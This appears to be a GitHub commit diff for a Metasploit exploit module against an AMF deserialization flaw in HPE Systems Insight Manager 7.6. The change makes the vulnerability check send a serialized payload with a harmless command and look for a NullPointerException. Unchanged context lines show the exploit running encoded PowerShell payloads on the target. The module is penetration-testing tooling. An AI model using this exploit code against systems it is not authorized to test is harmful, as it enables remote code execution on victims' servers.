Skip to content

Commit 8479f01

Browse files
committed
Improve the check logic to more accurately detect if a target is vulnerable or not
1 parent 2e45962 commit 8479f01

File tree

1 file changed

+17
-6
lines changed

1 file changed

+17
-6
lines changed

modules/exploits/windows/http/hpe_sim_76_amf_deserialization.rb

Lines changed: 17 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -63,7 +63,7 @@ def initialize(info = {})
6363
'Notes' =>
6464
{
6565
'Stability' => [CRASH_SAFE],
66-
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
66+
'SideEffects' => [IOC_IN_LOGS],
6767
'Reliability' => [REPEATABLE_SESSION]
6868
},
6969
'Privileged' => true
@@ -87,19 +87,30 @@ def check
8787
return CheckCode::Safe("Target doesn't appear to be a HPE System Insight Manager server!")
8888
end
8989

90+
data_dir = File.join(Msf::Config.data_directory, 'exploits', shortname)
91+
f_handle = File.open(File.join(data_dir, 'emp.ser'), 'rb')
92+
serialized_payload_content = f_handle.read
93+
f_handle.close
94+
serialized_payload_content_final = payload_template_adjustments(serialized_payload_content, "a") # NOP command of a which will allow for checking if the target is vulnerable.
95+
9096
res = send_request_cgi({
91-
'method' => 'GET',
92-
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure')
97+
'method' => 'POST',
98+
'uri' => normalize_uri(target_uri.path, 'simsearch', 'messagebroker', 'amfsecure'),
99+
'data' => serialized_payload_content_final
93100
})
94-
return CheckCode::Safe('Failed to identify an active amfsecure endpoint on the target.') unless res&.code == 200
95101

96-
CheckCode::Detected('Found an active amfsecure endpoint on the target!')
102+
unless res&.code == 200
103+
return CheckCode::Safe("Non-200 HTTP response received during deserialization. Target doesn't seem to be vulnerable!")
104+
end
105+
unless res.to_s.include?('java.lang.NullPointerException')
106+
return CheckCode::Safe("200 OK response didn't contain expected java.lang.NullPointerException. Target is not vulnerable!")
107+
end
108+
CheckCode::Vulnerable("Target returned java.lang.NullPointerException in its 200 OK response!")
97109
end
98110

99111
def exploit
100112
case target['Type']
101113
when :windows_command
102-
require 'pry'; binding.pry
103114
execute_command(payload.encoded.gsub(/^powershell(?:\.exe)* /, 'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ')) # If PowerShell is being used to run the command, specify the full path so that it will run correctly.
104115
when :windows_powershell
105116
execute_command(cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true).prepend('C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\')) # Need full path to PowerShell binary for it to run for some reason.

0 commit comments

Comments
 (0)